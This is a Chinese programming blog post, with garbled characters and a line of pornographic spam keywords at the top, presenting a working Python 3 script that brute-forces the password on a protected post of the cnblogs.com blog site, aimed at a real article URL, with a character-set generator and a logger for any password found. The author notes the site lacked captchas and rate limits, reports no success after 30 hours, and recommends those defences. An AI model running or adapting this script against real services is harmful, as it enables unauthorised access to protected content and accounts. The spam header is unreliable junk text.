欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

python3實(shí)現(xiàn)暴力窮舉博客園密碼

 更新時(shí)間:2016年06月19日 16:43:59   作者:黑暗圣堂武士  
這篇文章主要介紹了python3實(shí)現(xiàn)暴力窮舉博客園密碼的相關(guān)資料,需要的朋友可以參考下

我之前想寫路由器的密碼暴力破解器,我手上只有極路由,發(fā)現(xiàn)極路由有安全限制,只能允許連續(xù)10密碼錯(cuò)誤,所以我改拿博客園練手。

博客園的博客有個(gè)功能是給博文設(shè)置一個(gè)密碼,輸入正確的密碼才能看到文章的內(nèi)容。經(jīng)過測(cè)試發(fā)現(xiàn)這個(gè)密碼驗(yàn)證功能,既沒有驗(yàn)證碼也沒有提交頻率的限制,

要寫這個(gè)針對(duì)博客園的密碼暴力破解器模型會(huì)非常簡(jiǎn)單,很好實(shí)現(xiàn)。

比如打開這個(gè)博文,會(huì)顯示一個(gè)密碼輸入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前沒有寫過這樣的程序,也沒有看過別人寫這類功能的代碼,就按我自己所理解的想法來寫一個(gè)最簡(jiǎn)單的密碼破解器,不要多線程,不要分布式,

這個(gè)程序會(huì)有這么兩個(gè)部分:

1、我需要一個(gè)生成器,可以不停的生成所有可能的密碼組合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密碼組合。

2、我需要不停的提交密碼,直到認(rèn)為密碼正確,記錄密碼,退出程序。

-_-!為什么使用生成器?

python2中range() 不是一個(gè)生成器,當(dāng)你range(N),N為一個(gè)很大的數(shù)時(shí)...python就會(huì)爆炸?。。」?.

寫細(xì)致的博客太消耗時(shí)間和心力,我這里不寫具體的分析過程了,后面直接上代碼,如果看不懂,查相關(guān)關(guān)鍵詞就可以,畢竟基礎(chǔ)教程性的文章和內(nèi)容非常之多。

tqdm是一個(gè)python進(jìn)度條庫,requests是一個(gè)簡(jiǎn)單優(yōu)雅的http庫,

product是python3的標(biāo)準(zhǔn)庫itertools下的函數(shù),可以用生成 (a,b,c...) (c,b,a...)這樣的序列,用''.join連接起來就得到了"abc"這樣的一個(gè)密碼。

"""
python3暴力窮舉密碼
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密碼生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符刪掉,替換成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的格式,因?yàn)檫@個(gè)才POST的目標(biāo)地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密碼后,返回的url得到為"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"這樣的形式,那么認(rèn)為猜到正確的密碼了。
        with open("resut.csv","a+") as f:
          f.write('密碼破解成功結(jié)果為:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,這個(gè)程序運(yùn)行速度大約是每秒提交6次密碼,我運(yùn)行了30個(gè)小時(shí),也不過是迭代幾十萬次,并沒有能把密碼破解出來,沒有產(chǎn)生實(shí)質(zhì)性的危害。

總結(jié):

1、密碼驗(yàn)證的地方適當(dāng)增加一些防止暴力破解的手段。

2、仍然有必要使用復(fù)雜的密碼提高安全度。雖然這樣的一個(gè)簡(jiǎn)單的程序并沒有什么卵用。

相關(guān)文章

  • 解決Python安裝后pip不能用的問題

    解決Python安裝后pip不能用的問題

    今天小編就為大家分享一篇解決Python安裝后pip不能用的問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2018-06-06
  • 關(guān)于matplotlib及相關(guān)cmap參數(shù)的取值方式

    關(guān)于matplotlib及相關(guān)cmap參數(shù)的取值方式

    這篇文章主要介紹了關(guān)于matplotlib及相關(guān)cmap參數(shù)的取值方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2022-11-11
  • 如何實(shí)現(xiàn)在遠(yuǎn)程linux服務(wù)器上運(yùn)行python代碼

    如何實(shí)現(xiàn)在遠(yuǎn)程linux服務(wù)器上運(yùn)行python代碼

    這篇文章主要介紹了如何實(shí)現(xiàn)在遠(yuǎn)程linux服務(wù)器上運(yùn)行python代碼問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-12-12
  • opencv python如何實(shí)現(xiàn)圖像二值化

    opencv python如何實(shí)現(xiàn)圖像二值化

    這篇文章主要介紹了opencv python如何實(shí)現(xiàn)圖像二值化,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-02-02
  • Python中的np.argmin()和np.argmax()函數(shù)用法

    Python中的np.argmin()和np.argmax()函數(shù)用法

    這篇文章主要介紹了Python中的np.argmin()和np.argmax()函數(shù)用法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2021-06-06
  • Python QT組件庫qtwidgets的使用

    Python QT組件庫qtwidgets的使用

    這篇文章主要介紹了Python QT組件庫qtwidgets的使用,幫助大家更好的利用python處理圖片,感興趣的朋友可以了解下
    2020-11-11
  • python 自動(dòng)去除空行的實(shí)例

    python 自動(dòng)去除空行的實(shí)例

    今天小編就為大家分享一篇python 自動(dòng)去除空行的實(shí)例,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧
    2018-07-07
  • python 裝飾器的使用與要點(diǎn)

    python 裝飾器的使用與要點(diǎn)

    python的裝飾器本質(zhì)上是一個(gè)Python函數(shù),它可以讓其他函數(shù)在不需要做任何代碼變動(dòng)的前提下增加額外功能;裝飾器的返回值也是一個(gè)函數(shù)對(duì)象。簡(jiǎn)單的說裝飾器就是一個(gè)用來返回函數(shù)的函數(shù)
    2021-05-05
  • python playwright 自動(dòng)等待和斷言詳解

    python playwright 自動(dòng)等待和斷言詳解

    這篇文章主要為大家介紹了python playwright 自動(dòng)等待和斷言,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下,希望能夠給你帶來幫助
    2021-11-11
  • 進(jìn)一步探究Python中的正則表達(dá)式

    進(jìn)一步探究Python中的正則表達(dá)式

    這篇文章主要介紹了Python中的正則表達(dá)式的一些用法,正則表達(dá)式的使用是Python學(xué)習(xí)進(jìn)階中的重要知識(shí),需要的朋友可以參考下
    2015-04-04

最新評(píng)論